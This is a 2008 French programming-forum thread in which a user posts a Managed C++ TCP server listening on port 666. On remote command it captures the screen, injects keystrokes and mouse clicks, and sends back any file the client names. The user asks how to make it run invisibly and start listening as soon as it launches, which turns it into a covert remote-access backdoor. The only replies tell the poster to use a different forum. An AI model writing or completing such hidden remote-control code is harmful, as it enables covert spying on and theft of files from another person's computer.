Question [Fermé]

Signaler
Messages postés
2
Date d'inscription
samedi 19 juillet 2008
Statut
Membre
Dernière intervention
23 septembre 2008
-
Messages postés
3793
Date d'inscription
samedi 22 décembre 2007
Statut
Membre
Dernière intervention
3 juin 2016
-
salut a tous

voici le code d'un serveur,un fichier exe censée recevoir une connexion du client
voila on le lance une fenetre s'ouvre puis on clique sur start pour le mettre en ecoute.moi je voudrais 1)quil se lance en mode invisible 2)quil soit directement sur position start quand il souvre c'est a dire pas besoin de cliker sur star il attend la connexion client des louverture du server merci de m'aider.

3 réponses

Messages postés
2
Date d'inscription
samedi 19 juillet 2008
Statut
Membre
Dernière intervention
23 septembre 2008

#pragma once

namespace Serveur
{
    using namespace System;
    using namespace System::IO;
    using namespace System::ComponentModel;
    using namespace System::Collections;
    using namespace System::Windows::Forms;
    using namespace System::Data;
    using namespace System::Drawing;
    using namespace System::Net;
    using namespace System::Net::Sockets;
    using namespace System::Threading;
    using namespace System::Drawing::Imaging;

    /// <summary>
    /// Description résumée de Form1
    ///
    /// AVERTISSEMENT : Si vous modifiez le nom de cette classe, vous devrez également modifier la
    ///          propriété 'Nom du fichier de ressources' de l'outil de compilation de ressource managée
    ///          pour tous les fichiers .resx dont dépend cette classe. Dans le cas contraire,
    ///          les concepteurs ne pourront pas interagir correctement avec les ressources
    ///          localisées associées à ce formulaire.
    /// </summary>
    public __gc class Form1 : public System::Windows::Forms::Form
    {    
    public:
        Form1(void)
        {
            InitializeComponent();
            myThread=new Thread(new ThreadStart(this, &Serveur));
        }
 
    protected:
        void Dispose(Boolean disposing)
        {
            if (disposing && components)
            {
                components->Dispose();
            }
            __super::Dispose(disposing);
        }
    private: static System::Windows::Forms::TextBox *  textBox1;
    private: System::Windows::Forms::Label *  label1;
    private: static System::Windows::Forms::Button *  button1;
    private: static System::Windows::Forms::RichTextBox *  richTextBox1;

    //pour le serveur :
    private: Threading::Thread *myThread;
    //static car utilisé dans le thread
    private: static TcpListener* server;
    private: static TcpClient* client;
    //stream pour lire/ecrire sur le socket
    private: static NetworkStream* stream;
    // pour le lecteur binaire sur le socket (plus pratique)
    private: static BinaryWriter *socketbinwrite;
    private: static BinaryReader *socketbinread;

    //binary Reader sur les fichiers
    private: static BinaryReader* FichierBinReader;
    private: static BinaryWriter* FichierBinWrite;
    private: static System::Windows::Forms::ProgressBar *  progressBar1;

    private:
        /// <summary>
        /// Variable nécessaire au concepteur.
        /// </summary>
        System::ComponentModel::Container * components;

        /// <summary>
        /// Méthode requise pour la prise en charge du concepteur - ne modifiez pas
        /// le contenu de cette méthode avec l'éditeur de code.
        /// </summary>
        void InitializeComponent(void)
        {
            this->textBox1 = new System::Windows::Forms::TextBox();
            this->label1 = new System::Windows::Forms::Label();
            this->button1 = new System::Windows::Forms::Button();
            this->richTextBox1 = new System::Windows::Forms::RichTextBox();
            this->progressBar1 = new System::Windows::Forms::ProgressBar();
            this->SuspendLayout();
            //
            // textBox1
            //
            this->textBox1->Location = System::Drawing::Point(24, 24);
            this->textBox1->Name = S"textBox1";
            this->textBox1->Size = System::Drawing::Size(48, 20);
            this->textBox1->TabIndex = 0;
            this->textBox1->Text = S"666";
            //
            // label1
            //
            this->label1->Location = System::Drawing::Point(24, 8);
            this->label1->Name = S"label1";
            this->label1->Size = System::Drawing::Size(40, 16);
            this->label1->TabIndex = 1;
            this->label1->Text = S"Port";
            //
            // button1
            //
            this->button1->Location = System::Drawing::Point(88, 24);
            this->button1->Name = S"button1";
            this->button1->Size = System::Drawing::Size(56, 24);
            this->button1->TabIndex = 2;
            this->button1->Text = S"Stop";
            this->button1->Click += new System::EventHandler(this, button1_Click);
            //
            // richTextBox1
            //
            this->richTextBox1->Anchor = (System::Windows::Forms::AnchorStyles)(((System::Windows::Forms::AnchorStyles::Top | System::Windows::Forms::AnchorStyles::Bottom)
                | System::Windows::Forms::AnchorStyles::Left)
                | System::Windows::Forms::AnchorStyles::Right);
            this->richTextBox1->Location = System::Drawing::Point(8, 64);
            this->richTextBox1->Name = S"richTextBox1";
            this->richTextBox1->Size = System::Drawing::Size(176, 144);
            this->richTextBox1->TabIndex = 3;
            this->richTextBox1->Text = S"";
            //
            // progressBar1
            //
            this->progressBar1->Location = System::Drawing::Point(16, 216);
            this->progressBar1->Name = S"progressBar1";
            this->progressBar1->Size = System::Drawing::Size(168, 8);
            this->progressBar1->TabIndex = 4;
            //
            // Form1
            //
            this->AutoScaleBaseSize = System::Drawing::Size(5, 13);
            this->ClientSize = System::Drawing::Size(192, 229);
            this->Controls->Add(this->progressBar1);
            this->Controls->Add(this->richTextBox1);
            this->Controls->Add(this->button1);
            this->Controls->Add(this->label1);
            this->Controls->Add(this->textBox1);
            this->FormBorderStyle = System::Windows::Forms::FormBorderStyle::Fixed3D;
            this->MaximizeBox = false;
            this->Name = S"Form1";
            this->Text = S"Serveur";
            this->ResumeLayout(false);

        }    
    private: System::Void button1_Click(System::Object *  sender, System::EventArgs *  e)
             {
                  //si le thread n'est pas démarré
                 if(myThread->IsAlive == false)
                 {        
                    //on lance le thread
                    myThread->Start();
                    this->Text = "Thread Start";
                
                    this->button1->Text="STOP";
                 }
                 //sinon, si il se trouve dans un autre etat (il faut tj regarder dans quel etat se trouve le thread avant d'intervenir dessus)
                 //exemple: si le thread a ete mis en pause, on le remet en route:
                 //if(myThread->ThreadState == ThreadState::Suspended)
                 //        myThread->Resume();
                 else
                 {    
                    
                    
                    myThread->Abort();
                    
                    server->Stop();
                    //client->Close();
                    this->Text = "Thread Stop";
                    this->button1->Text="START";
                    
                    //on fait une petite pause (ne sert a rien, sauf a voir ce qui se passe)
                    myThread->Sleep(500);
                    
                    //on tue le thread
                    myThread->Abort();
                    this->Dispose(true);
                 }
             }
static void Serveur()
{
    String*message;

    server = new TcpListener(Convert::ToInt16(textBox1->Text));
    server->Start();
    
    richTextBox1->AppendText("Serveur démaré, attente de client...\n");

    client = server->AcceptTcpClient();

    stream = client->GetStream();
    socketbinread = new BinaryReader(stream);
    socketbinwrite = new BinaryWriter(stream);
    
    //socketbinwrite->Write("Bonjour client");
    richTextBox1->AppendText("client connecté\n");
    
    //boucle de reception des messages
    while(message=socketbinread->ReadString())
    {
        
        if(message->CompareTo("screenshot")==0)
        {
            richTextBox1->AppendText("demande de screenshot\n");
                    
            int width =socketbinread->ReadInt32();
            int height=socketbinread->ReadInt32();

            richTextBox1->AppendText(" ");
            richTextBox1->AppendText(Convert::ToString(width));
            richTextBox1->AppendText("*");
            richTextBox1->AppendText(Convert::ToString(height));
            
            screenshot(width,height);

        }
        if(message->CompareTo("key")==0)
        {
            Int32 toucheDown;
            toucheDown=socketbinread->ReadInt32();
            keybd_event(toucheDown,0,0,0);
            
        }
        if(message->CompareTo("mouseMov")==0)
        {
            Int32 posX;
            Int32 posY;
            posX=socketbinread->ReadInt32();
            posY=socketbinread->ReadInt32();
            //on recalcul la pos par rapport a l ecran
            int nScreenWidth = GetSystemMetrics(SM_CXSCREEN);
            int nScreenHeight = GetSystemMetrics(SM_CYSCREEN);
            posX=posX*nScreenWidth/800;
            posY=posY*nScreenHeight/600;
            //on place la souris !
            SetCursorPos(posX, posY);
            //mouse_event( MOUSEEVENTF_MOVE,posX,posY,0,NULL);

        }
        if(message->CompareTo("click")==0)
        {
                Int32 posX=0;
                Int32 posY=0;
                String*boutton;
                //on recupere le bouton cliqué
                boutton=socketbinread->ReadString();
                posX=socketbinread->ReadInt32();
                posY=socketbinread->ReadInt32();
                //on recalcul les posX et posY par rapport a la taille de l ecran
                int nScreenWidth = GetSystemMetrics(SM_CXSCREEN);
                int nScreenHeight = GetSystemMetrics(SM_CYSCREEN);
                posX=posX*nScreenWidth/800;
                posY=posY*nScreenHeight/600;

                if (boutton->CompareTo("gaucheDOWN")==0)
                {    SetCursorPos(posX,posY);
                    mouse_event(MOUSEEVENTF_LEFTDOWN,posX,posY,0,NULL);
                }
                if (boutton->CompareTo("gaucheUP")==0)
                {    SetCursorPos(posX,posY);
                    mouse_event(MOUSEEVENTF_LEFTUP,posX,posY,0,NULL);
                }
                if (boutton->CompareTo("droiteDOWN")==0)
                {    SetCursorPos(posX,posY);
                    mouse_event(MOUSEEVENTF_RIGHTDOWN,posX,posY,0,NULL);
                }
                if (boutton->CompareTo("droiteUP")==0)
                {    SetCursorPos(posX,posY);
                    mouse_event(MOUSEEVENTF_RIGHTUP,posX,posY,0,NULL);
                }
        }
        if(message->CompareTo("fichier")==0)
        {
            fileup(socketbinread->ReadString());
        }
        
    }
    
}

static void screenshot(int width, int height)
{    
    
    //execute le screenshot (trouvé sur www.codeproject.com ;) )
    int nScreenWidth = GetSystemMetrics(SM_CXSCREEN);
    int nScreenHeight = GetSystemMetrics(SM_CYSCREEN);
    HWND hDesktopWnd = GetDesktopWindow();
    HDC hDesktopDC = GetDC(hDesktopWnd);
    HDC hCaptureDC = CreateCompatibleDC(hDesktopDC);
    HBITMAP hCaptureBitmap =CreateCompatibleBitmap(hDesktopDC,nScreenWidth, nScreenHeight);
    SelectObject(hCaptureDC,hCaptureBitmap);
    //bitblt
    BitBlt(hCaptureDC,0,0,nScreenWidth,nScreenHeight,hDesktopDC,0,0,SRCCOPY);
    
    //stretchBlt est pareil que bitblt mais permet en plus de redimensionner
    //StretchBlt(hCaptureDC,0,0,1024,768,hDesktopDC,0,0,nScreenWidth,nScreenHeight,SRCCOPY);
    
    Bitmap*bitmap;
    //on recupere la bitmap de hCaptureBitmap
    bitmap = System::Drawing::Bitmap::FromHbitmap(hCaptureBitmap);
    //redimensionne l'image bitmap selon la dimension que demande le client
    bitmap = new Bitmap(bitmap, width, height);

    //on sauve l'image
    bitmap->Save("c:\\tmp.jpg",ImageFormat::Jpeg);
    
    //release
    ReleaseDC(hDesktopWnd,hDesktopDC);
    DeleteDC(hCaptureDC);
    DeleteObject(hCaptureBitmap);
}

static void fileup(String*nomfichier)
{    
    //lon renvoi la taille du fichier au client
    //on prepare le reader binaire sur le fichier pour connaitre sa taille
    FichierBinReader= new BinaryReader(File::Open(nomfichier, FileMode::Open));
    //messclient=socketbinread->ReadString();
    
    Int64 taille=FichierBinReader->BaseStream->get_Length();
    socketbinwrite->Write(taille);
    richTextBox1->AppendText("taille envoye\n");
    

    //envoi du fichier au client
    //on envoi par tranches de n bytes, on utilise un modulo pour le reste
    
    int    nbtranche=taille/1300;
    int modulo= taille%1300;
    progressBar1->Maximum=taille;
    progressBar1->Step=1;
    

        while (FichierBinReader->BaseStream->Position!=nbtranche*1300 )//FichierBinReader->BaseStream->Length)
        {    
            
                socketbinwrite->Write(FichierBinReader->ReadBytes(1300));
                progressBar1->Value+=1300;
            
            
        }
        while (FichierBinReader->BaseStream->Position!=taille)
        {
                socketbinwrite->Write(FichierBinReader->ReadBytes(1));
                progressBar1->Value+=1;
        }
        FichierBinReader->Close();
        progressBar1->Value=0;
}

    };
}
Messages postés
4718
Date d'inscription
dimanche 26 février 2006
Statut
Modérateur
Dernière intervention
14 janvier 2021
14
bonsoir,
merci de poster dans le bon forum..

cantador
Messages postés
3793
Date d'inscription
samedi 22 décembre 2007
Statut
Membre
Dernière intervention
3 juin 2016
8
C'est du Delphi ?

Bizarre, j'ai jamais fait gaffe à l'existence du mot clé "void".
Hmm ... eh c'est du VB ça !

Bon la prochaine fois tu posteras dans le bon site ... (t'as quand même fait fort là ...).

Cordialement, Bacterius !